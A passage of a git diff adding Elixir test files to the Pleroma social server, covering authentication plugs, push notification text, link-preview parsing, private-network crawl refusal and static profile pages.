get(build_conn(), attachment_url <> "?name=\"cofe\".gif") + + assert Enum.any?( + conn.resp_headers, + &(&1 == {"content-disposition", "filename=\"\\\"cofe\\\".gif\""}) + ) + end +end diff --git a/test/pleroma/web/plugs/user_enabled_plug_test.exs b/test/pleroma/web/plugs/user_enabled_plug_test.exs new file mode 100644 index 000000000..0a314562a --- /dev/null +++ b/test/pleroma/web/plugs/user_enabled_plug_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.UserEnabledPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.UserEnabledPlug + import Pleroma.Factory + + setup do: clear_config([:instance, :account_activation_required]) + + test "doesn't do anything if the user isn't set", %{conn: conn} do + ret_conn = + conn + |> UserEnabledPlug.call(%{}) + + assert ret_conn == conn + end + + test "with a user that's not confirmed and a config requiring confirmation, it removes that user", + %{conn: conn} do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, confirmation_pending: true) + + conn = + conn + |> assign(:user, user) + |> UserEnabledPlug.call(%{}) + + assert conn.assigns.user == nil + end + + test "with a user that is deactivated, it removes that user", %{conn: conn} do + user = insert(:user, deactivated: true) + + conn = + conn + |> assign(:user, user) + |> UserEnabledPlug.call(%{}) + + assert conn.assigns.user == nil + end + + test "with a user that is not deactivated, it does nothing", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + + ret_conn = + conn + |> UserEnabledPlug.call(%{}) + + assert conn == ret_conn + end +end diff --git a/test/pleroma/web/plugs/user_fetcher_plug_test.exs b/test/pleroma/web/plugs/user_fetcher_plug_test.exs new file mode 100644 index 000000000..f873d7dc8 --- /dev/null +++ b/test/pleroma/web/plugs/user_fetcher_plug_test.exs @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.UserFetcherPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.UserFetcherPlug + import Pleroma.Factory + + setup do + user = insert(:user) + %{user: user} + end + + test "if an auth_credentials assign is present, it tries to fetch the user and assigns it", %{ + conn: conn, + user: user + } do + conn = + conn + |> assign(:auth_credentials, %{ + username: user.nickname, + password: nil + }) + + conn = + conn + |> UserFetcherPlug.call(%{}) + + assert conn.assigns[:auth_user] == user + end + + test "without a credential assign it doesn't do anything", %{conn: conn} do + ret_conn = + conn + |> UserFetcherPlug.call(%{}) + + assert conn == ret_conn + end +end diff --git a/test/pleroma/web/plugs/user_is_admin_plug_test.exs b/test/pleroma/web/plugs/user_is_admin_plug_test.exs new file mode 100644 index 000000000..4a05675bd --- /dev/null +++ b/test/pleroma/web/plugs/user_is_admin_plug_test.exs @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.UserIsAdminPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.UserIsAdminPlug + import Pleroma.Factory + + test "accepts a user that is an admin" do + user = insert(:user, is_admin: true) + + conn = assign(build_conn(), :user, user) + + ret_conn = UserIsAdminPlug.call(conn, %{}) + + assert conn == ret_conn + end + + test "denies a user that isn't an admin" do + user = insert(:user) + + conn = + build_conn() + |> assign(:user, user) + |> UserIsAdminPlug.call(%{}) + + assert conn.status == 403 + end + + test "denies when a user isn't set" do + conn = UserIsAdminPlug.call(build_conn(), %{}) + + assert conn.status == 403 + end +end diff --git a/test/pleroma/web/push/impl_test.exs b/test/pleroma/web/push/impl_test.exs new file mode 100644 index 000000000..6cab46696 --- /dev/null +++ b/test/pleroma/web/push/impl_test.exs @@ -0,0 +1,344 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Push.ImplTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Push.Impl + alias Pleroma.Web.Push.Subscription + + setup do + Tesla.Mock.mock(fn + %{method: :post, url: "https://example.com/example/1234"} -> + %Tesla.Env{status: 200} + + %{method: :post, url: "https://example.com/example/not_found"} -> + %Tesla.Env{status: 400} + + %{method: :post, url: "https://example.com/example/bad"} -> + %Tesla.Env{status: 100} + end) + + :ok + end + + @sub %{ + endpoint: "https://example.com/example/1234", + keys: %{ + auth: "8eDyX_uCN0XRhSbY5hs7Hg==", + p256dh: + "BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA=" + } + } + @api_key "BASgACIHpN1GYgzSRp" + @message "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." + + test "performs sending notifications" do + user = insert(:user) + user2 = insert(:user) + insert(:push_subscription, user: user, data: %{alerts: %{"mention" => true}}) + insert(:push_subscription, user: user2, data: %{alerts: %{"mention" => true}}) + + insert(:push_subscription, + user: user, + data: %{alerts: %{"follow" => true, "mention" => true}} + ) + + insert(:push_subscription, + user: user, + data: %{alerts: %{"follow" => true, "mention" => false}} + ) + + {:ok, activity} = CommonAPI.post(user, %{status: "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + object = Object.normalize(activity) + + assert Impl.format_body( + %{ + activity: activity + }, + user, + object + ) == + "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." + + assert Impl.format_title(%{activity: activity, type: "mention"}) == + "New Mention" + end + + test "renders title and body for follow activity" do + user = insert(:user, nickname: "Bob") + other_user = insert(:user) + {:ok, _, _, activity} = CommonAPI.follow(user, other_user) + object = Object.normalize(activity, false) + + assert Impl.format_body(%{activity: activity, type: "follow"}, user, object) == + "@Bob has followed you" + + assert Impl.format_title(%{activity: activity, type: "follow"}) == + "New Follower" + end + + test "renders title and body for announce activity" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + {:ok, announce_activity} = CommonAPI.repeat(activity.id, user) + object = Object.normalize(activity) + + assert Impl.format_body(%{activity: announce_activity}, user, object) == + "@#{user.nickname} repeated: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." + + assert Impl.format_title(%{activity: announce_activity, type: "reblog"}) == + "New Repeat" + end + + test "renders title and body for like activity" do + user = insert(:user, nickname: "Bob") + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + {:ok, activity} = CommonAPI.favorite(user, activity.id) + object = Object.normalize(activity) + + assert Impl.format_body(%{activity: activity, type: "favourite"}, user, object) == + "@Bob has favorited your post" + + assert Impl.format_title(%{activity: activity, type: "favourite"}) == + "New Favorite" + end + + test "renders title for create activity with direct visibility" do + user = insert(:user, nickname: "Bob") + + {:ok, activity} = + CommonAPI.post(user, %{ + visibility: "direct", + status: "This is just between you and me, pal" + }) + + assert Impl.format_title(%{activity: activity}) == + "New Direct Message" + end + + describe "build_content/3" do + test "builds content for chat messages" do + user = insert(:user) + recipient = insert(:user) + + {:ok, chat} = CommonAPI.post_chat_message(user, recipient, "hey") + object = Object.normalize(chat, false) + [notification] = Notification.for_user(recipient) + + res = Impl.build_content(notification, user, object) + + assert res == %{ + body: "@#{user.nickname}: hey", + title: "New Chat Message" + } + end + + test "builds content for chat messages with no content" do + user = insert(:user) + recipient = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + {:ok, chat} = CommonAPI.post_chat_message(user, recipient, nil, media_id: upload.id) + object = Object.normalize(chat, false) + [notification] = Notification.for_user(recipient) + + res = Impl.build_content(notification, user, object) + + assert res == %{ + body: "@#{user.nickname}: (Attachment)", + title: "New Chat Message" + } + end + + test "hides contents of notifications when option enabled" do + user = insert(:user, nickname: "Bob") + + user2 = + insert(:user, nickname: "Rob", notification_settings: %{hide_notification_contents: true}) + + {:ok, activity} = + CommonAPI.post(user, %{ + visibility: "direct", + status: "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + notif = insert(:notification, user: user2, activity: activity) + + actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) + object = Object.normalize(activity) + + assert Impl.build_content(notif, actor, object) == %{ + body: + "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...", + title: "New Direct Message" + } + + {:ok, activity} = + CommonAPI.post(user, %{ + visibility: "public", + status: + "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + notif = insert(:notification, user: user2, activity: activity, type: "mention") + + actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) + object = Object.normalize(activity) + + assert Impl.build_content(notif, actor, object) == %{ + body: + "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...", + title: "New Mention" + } + + {:ok, activity} = CommonAPI.favorite(user, activity.id) + + notif = insert(:notification, user: user2, activity: activity, type: "favourite") + + actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) + object = Object.normalize(activity) + + assert Impl.build_content(notif, actor, object) == %{ + body: "@Bob has favorited your post", + title: "New Favorite" + } + end + end +end diff --git a/test/pleroma/web/rel_me_test.exs b/test/pleroma/web/rel_me_test.exs new file mode 100644 index 000000000..65255916d --- /dev/null +++ b/test/pleroma/web/rel_me_test.exs @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RelMeTest do + use ExUnit.Case + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "parse/1" do + hrefs = ["https://social.example.org/users/lain"] + + assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/null") == {:ok, []} + + assert {:ok, %Tesla.Env{status: 404}} = + Pleroma.Web.RelMe.parse("http://example.com/rel_me/error") + + assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/link") == {:ok, hrefs} + assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor") == {:ok, hrefs} + assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor_nofollow") == {:ok, hrefs} + end + + test "maybe_put_rel_me/2" do + profile_urls = ["https://social.example.org/users/lain"] + attr = "me" + fallback = nil + + assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/null", profile_urls) == + fallback + + assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/error", profile_urls) == + fallback + + assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/anchor", profile_urls) == + attr + + assert Pleroma.Web.RelMe.maybe_put_rel_me( + "http://example.com/rel_me/anchor_nofollow", + profile_urls + ) == attr + + assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/link", profile_urls) == + attr + end +end diff --git a/test/pleroma/web/rich_media/helpers_test.exs b/test/pleroma/web/rich_media/helpers_test.exs new file mode 100644 index 000000000..4b97bd66b --- /dev/null +++ b/test/pleroma/web/rich_media/helpers_test.exs @@ -0,0 +1,86 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.HelpersTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.RichMedia.Helpers + + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + :ok + end + + setup do: clear_config([:rich_media, :enabled]) + + test "refuses to crawl incomplete URLs" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "[test](example.com/ogp)", + content_type: "text/markdown" + }) + + Config.put([:rich_media, :enabled], true) + + assert %{} == Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) + end + + test "refuses to crawl malformed URLs" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "[test](example.com[]/ogp)", + content_type: "text/markdown" + }) + + Config.put([:rich_media, :enabled], true) + + assert %{} == Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) + end + + test "crawls valid, complete URLs" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "[test](https://example.com/ogp)", + content_type: "text/markdown" + }) + + Config.put([:rich_media, :enabled], true) + + assert %{page_url: "https://example.com/ogp", rich_media: _} = + Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) + end + + test "refuses to crawl URLs of private network from posts" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{status: "http://127.0.0.1:4000/notice/9kCP7VNyPJXFOXDrgO"}) + + {:ok, activity2} = CommonAPI.post(user, %{status: "https://10.111.10.1/notice/9kCP7V"}) + {:ok, activity3} = CommonAPI.post(user, %{status: "https://172.16.32.40/notice/9kCP7V"}) + {:ok, activity4} = CommonAPI.post(user, %{status: "https://192.168.10.40/notice/9kCP7V"}) + {:ok, activity5} = CommonAPI.post(user, %{status: "https://pleroma.local/notice/9kCP7V"}) + + Config.put([:rich_media, :enabled], true) + + assert %{} = Helpers.fetch_data_for_activity(activity) + assert %{} = Helpers.fetch_data_for_activity(activity2) + assert %{} = Helpers.fetch_data_for_activity(activity3) + assert %{} = Helpers.fetch_data_for_activity(activity4) + assert %{} = Helpers.fetch_data_for_activity(activity5) + end +end diff --git a/test/pleroma/web/rich_media/parser_test.exs b/test/pleroma/web/rich_media/parser_test.exs new file mode 100644 index 000000000..6d00c2af5 --- /dev/null +++ b/test/pleroma/web/rich_media/parser_test.exs @@ -0,0 +1,176 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.ParserTest do + use ExUnit.Case, async: true + + alias Pleroma.Web.RichMedia.Parser + + setup do + Tesla.Mock.mock(fn + %{ + method: :get, + url: "http://example.com/ogp" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/ogp.html")} + + %{ + method: :get, + url: "http://example.com/non-ogp" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/non_ogp_embed.html")} + + %{ + method: :get, + url: "http://example.com/ogp-missing-title" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/rich_media/ogp-missing-title.html") + } + + %{ + method: :get, + url: "http://example.com/twitter-card" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} + + %{ + method: :get, + url: "http://example.com/oembed" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/oembed.html")} + + %{ + method: :get, + url: "http://example.com/oembed.json" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/oembed.json")} + + %{method: :get, url: "http://example.com/empty"} -> + %Tesla.Env{status: 200, body: "hello"} + + %{method: :get, url: "http://example.com/malformed"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/malformed-data.html")} + + %{method: :get, url: "http://example.com/error"} -> + {:error, :overload} + + %{ + method: :head, + url: "http://example.com/huge-page" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-length", "2000001"}, {"content-type", "text/html"}] + } + + %{ + method: :head, + url: "http://example.com/pdf-file" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-length", "1000000"}, {"content-type", "application/pdf"}] + } + + %{method: :head} -> + %Tesla.Env{status: 404, body: "", headers: []} + end) + + :ok + end + + test "returns error when no metadata present" do + assert {:error, _} = Parser.parse("http://example.com/empty") + end + + test "doesn't just add a title" do + assert {:error, {:invalid_metadata, _}} = Parser.parse("http://example.com/non-ogp") + end + + test "parses ogp" do + assert Parser.parse("http://example.com/ogp") == + {:ok, + %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "title" => "The Rock", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", + "type" => "video.movie", + "url" => "http://example.com/ogp" + }} + end + + test "falls back to when ogp:title is missing" do + assert Parser.parse("http://example.com/ogp-missing-title") == + {:ok, + %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "title" => "The Rock (1996)", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", + "type" => "video.movie", + "url" => "http://example.com/ogp-missing-title" + }} + end + + test "parses twitter card" do + assert Parser.parse("http://example.com/twitter-card") == + {:ok, + %{ + "card" => "summary", + "site" => "@flickr", + "image" => "https://farm6.staticflickr.com/5510/14338202952_93595258ff_z.jpg", + "title" => "Small Island Developing States Photo Submission", + "description" => "View the album on Flickr.", + "url" => "http://example.com/twitter-card" + }} + end + + test "parses OEmbed" do + assert Parser.parse("http://example.com/oembed") == + {:ok, + %{ + "author_name" => "‮‭‬bees‬", + "author_url" => "https://www.flickr.com/photos/bees/", + "cache_age" => 3600, + "flickr_type" => "photo", + "height" => "768", + "html" => + "<a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/bees/2362225867/\" title=\"Bacon Lollys by ‮‭‬bees‬, on Flickr\"><img src=\"https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_b.jpg\" width=\"1024\" height=\"768\" alt=\"Bacon Lollys\"></a><script async src=\"https://embedr.flickr.com/assets/client-code.js\" charset=\"utf-8\"></script>", + "license" => "All Rights Reserved", + "license_id" => 0, + "provider_name" => "Flickr", + "provider_url" => "https://www.flickr.com/", + "thumbnail_height" => 150, + "thumbnail_url" => + "https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_q.jpg", + "thumbnail_width" => 150, + "title" => "Bacon Lollys", + "type" => "photo", + "url" => "http://example.com/oembed", + "version" => "1.0", + "web_page" => "https://www.flickr.com/photos/bees/2362225867/", + "web_page_short_url" => "https://flic.kr/p/4AK2sc", + "width" => "1024" + }} + end + + test "rejects invalid OGP data" do + assert {:error, _} = Parser.parse("http://example.com/malformed") + end + + test "returns error if getting page was not successful" do + assert {:error, :overload} = Parser.parse("http://example.com/error") + end + + test "does a HEAD request to check if the body is too large" do + assert {:error, :body_too_large} = Parser.parse("http://example.com/huge-page") + end + + test "does a HEAD request to check if the body is html" do + assert {:error, {:content_type, _}} = Parser.parse("http://example.com/pdf-file") + end +end diff --git a/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs b/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs new file mode 100644 index 000000000..4a3122638 --- /dev/null +++ b/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs @@ -0,0 +1,82 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parsers.TTL.AwsSignedUrlTest do + use ExUnit.Case, async: true + + test "s3 signed url is parsed correct for expiration time" do + url = "https://pleroma.social/amz" + + {:ok, timestamp} = + Timex.now() + |> DateTime.truncate(:second) + |> Timex.format("{ISO:Basic:Z}") + + # in seconds + valid_till = 30 + + metadata = construct_metadata(timestamp, valid_till, url) + + expire_time = + Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) + + assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) + end + + test "s3 signed url is parsed and correct ttl is set for rich media" do + url = "https://pleroma.social/amz" + + {:ok, timestamp} = + Timex.now() + |> DateTime.truncate(:second) + |> Timex.format("{ISO:Basic:Z}") + + # in seconds + valid_till = 30 + + metadata = construct_metadata(timestamp, valid_till, url) + + body = """ + <meta name="twitter:card" content="Pleroma" /> + <meta name="twitter:site" content="Pleroma" /> + <meta name="twitter:title" content="Pleroma" /> + <meta name="twitter:description" content="Pleroma" /> + <meta name="twitter:image" content="#{Map.get(metadata, :image)}" /> + """ + + Tesla.Mock.mock(fn + %{ + method: :get, + url: "https://pleroma.social/amz" + } -> + %Tesla.Env{status: 200, body: body} + end) + + Cachex.put(:rich_media_cache, url, metadata) + + Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) + + {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) + + # as there is delay in setting and pulling the data from cache we ignore 1 second + # make it 2 seconds for flakyness + assert_in_delta(valid_till * 1000, cache_ttl, 2000) + end + + defp construct_s3_url(timestamp, valid_till) do + "https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{ + timestamp + }&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host" + end + + defp construct_metadata(timestamp, valid_till, url) do + %{ + image: construct_s3_url(timestamp, valid_till), + site: "Pleroma", + title: "Pleroma", + description: "Pleroma", + url: url + } + end +end diff --git a/test/pleroma/web/rich_media/parsers/twitter_card_test.exs b/test/pleroma/web/rich_media/parsers/twitter_card_test.exs new file mode 100644 index 000000000..219f005a2 --- /dev/null +++ b/test/pleroma/web/rich_media/parsers/twitter_card_test.exs @@ -0,0 +1,127 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parsers.TwitterCardTest do + use ExUnit.Case, async: true + alias Pleroma.Web.RichMedia.Parsers.TwitterCard + + test "returns error when html not contains twitter card" do + assert TwitterCard.parse([{"html", [], [{"head", [], []}, {"body", [], []}]}], %{}) == %{} + end + + test "parses twitter card with only name attributes" do + html = + File.read!("test/fixtures/nypd-facial-recognition-children-teenagers3.html") + |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "app:id:googleplay" => "com.nytimes.android", + "app:name:googleplay" => "NYTimes", + "app:url:googleplay" => "nytimes://reader/id/100000006583622", + "site" => nil, + "description" => + "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", + "image" => + "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg", + "type" => "article", + "url" => + "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", + "title" => + "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database." + } + end + + test "parses twitter card with only property attributes" do + html = + File.read!("test/fixtures/nypd-facial-recognition-children-teenagers2.html") + |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "card" => "summary_large_image", + "description" => + "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", + "image" => + "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg", + "image:alt" => "", + "title" => + "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", + "url" => + "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", + "type" => "article" + } + end + + test "parses twitter card with name & property attributes" do + html = + File.read!("test/fixtures/nypd-facial-recognition-children-teenagers.html") + |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "app:id:googleplay" => "com.nytimes.android", + "app:name:googleplay" => "NYTimes", + "app:url:googleplay" => "nytimes://reader/id/100000006583622", + "card" => "summary_large_image", + "description" => + "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", + "image" => + "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg", + "image:alt" => "", + "site" => nil, + "title" => + "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", + "url" => + "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", + "type" => "article" + } + end + + test "respect only first title tag on the page" do + image_path = + "https://assets.atlasobscura.com/media/W1siZiIsInVwbG9hZHMvYXNzZXRzLzkwYzgyMzI4LThlMDUtNGRiNS05MDg3LTUzMGUxZTM5N2RmMmVkOTM5ZDM4MGM4OTIx" <> + "YTQ5MF9EQVIgZXhodW1hdGlvbiBvZiBNYXJnYXJldCBDb3JiaW4gZ3JhdmUgMTkyNi5qcGciXSxbInAiLCJjb252ZXJ0IiwiIl0sWyJwIiwiY29udmVydCIsIi1xdWFsaXR5IDgxIC1hdXRvLW9" <> + "yaWVudCJdLFsicCIsInRodW1iIiwiNjAweD4iXV0/DAR%20exhumation%20of%20Margaret%20Corbin%20grave%201926.jpg" + + html = + File.read!("test/fixtures/margaret-corbin-grave-west-point.html") |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "site" => "@atlasobscura", + "title" => "The Missing Grave of Margaret Corbin, Revolutionary War Veteran", + "card" => "summary_large_image", + "image" => image_path, + "description" => + "She's the only woman veteran honored with a monument at West Point. But where was she buried?", + "site_name" => "Atlas Obscura", + "type" => "article", + "url" => "http://www.atlasobscura.com/articles/margaret-corbin-grave-west-point" + } + end + + test "takes first founded title in html head if there is html markup error" do + html = + File.read!("test/fixtures/nypd-facial-recognition-children-teenagers4.html") + |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "site" => nil, + "title" => + "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", + "app:id:googleplay" => "com.nytimes.android", + "app:name:googleplay" => "NYTimes", + "app:url:googleplay" => "nytimes://reader/id/100000006583622", + "description" => + "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", + "image" => + "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg", + "type" => "article", + "url" => + "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html" + } + end +end diff --git a/test/pleroma/web/static_fe/static_fe_controller_test.exs b/test/pleroma/web/static_fe/static_fe_controller_test.exs new file mode 100644 index 000000000..f819a1e52 --- /dev/null +++ b/test/pleroma/web/static_fe/static_fe_controller_test.exs @@ -0,0 +1,196 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do: clear_config([:static_fe, :enabled], true) + setup do: clear_config([:instance, :federating], true) + + setup %{conn: conn} do + conn = put_req_header(conn, "accept", "text/html") + user = insert(:user) + + %{conn: conn, user: user} + end + + describe "user profile html" do + test "just the profile as HTML", %{conn: conn, user: user} do + conn = get(conn, "/users/#{user.nickname}") + + assert html_response(conn, 200) =~ user.nickname + end + + test "404 when user not found", %{conn: conn} do + conn = get(conn, "/users/limpopo") + + assert html_response(conn, 404) =~ "not found" + end + + test "profile does not include private messages", %{conn: conn, user: user} do + CommonAPI.post(user, %{status: "public"}) + CommonAPI.post(user, %{status: "private", visibility: "private"}) + + conn = get(conn, "/users/#{user.nickname}") + + html = html_response(conn, 200) + + assert html =~ ">public<" + refute html =~ ">private<" + end + + test "pagination", %{conn: conn, user: user} do + Enum.map(1..30, fn i -> CommonAPI.post(user, %{status: "test#{i}"}) end) + + conn = get(conn, "/users/#{user.nickname}") + + html = html_response(conn, 200) + + assert html =~ ">test30<" + assert html =~ ">test11<" + refute html =~ ">test10<" + refute html =~ ">test1<" + end + + test "pagination, page 2", %{conn: conn, user: user} do + activities = Enum.map(1..30, fn i -> CommonAPI.post(user, %{status: "test#{i}"}) end) + {:ok, a11} = Enum.at(activities, 11) + + conn = get(conn, "/users/#{user.nickname}?max_id=#{a11.id}") + + html = html_response(conn, 200) + + assert html =~ ">test1<" + assert html =~ ">test10<" + refute html =~ ">test20<" + refute html =~ ">test29<" + end + + test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do + ensure_federating_or_authenticated(conn, "/users/#{user.nickname}", user) + end + end + + describe "notice html" do + test "single notice page", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) + + conn = get(conn, "/notice/#{activity.id}") + + html = html_response(conn, 200) + assert html =~ "<header>" + assert html =~ user.nickname + assert html =~ "testing a thing!" + end + + test "redirects to json if requested", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) + + conn = + conn + |> put_req_header( + "accept", + "Accept: application/activity+json, application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", text/html" + ) + |> 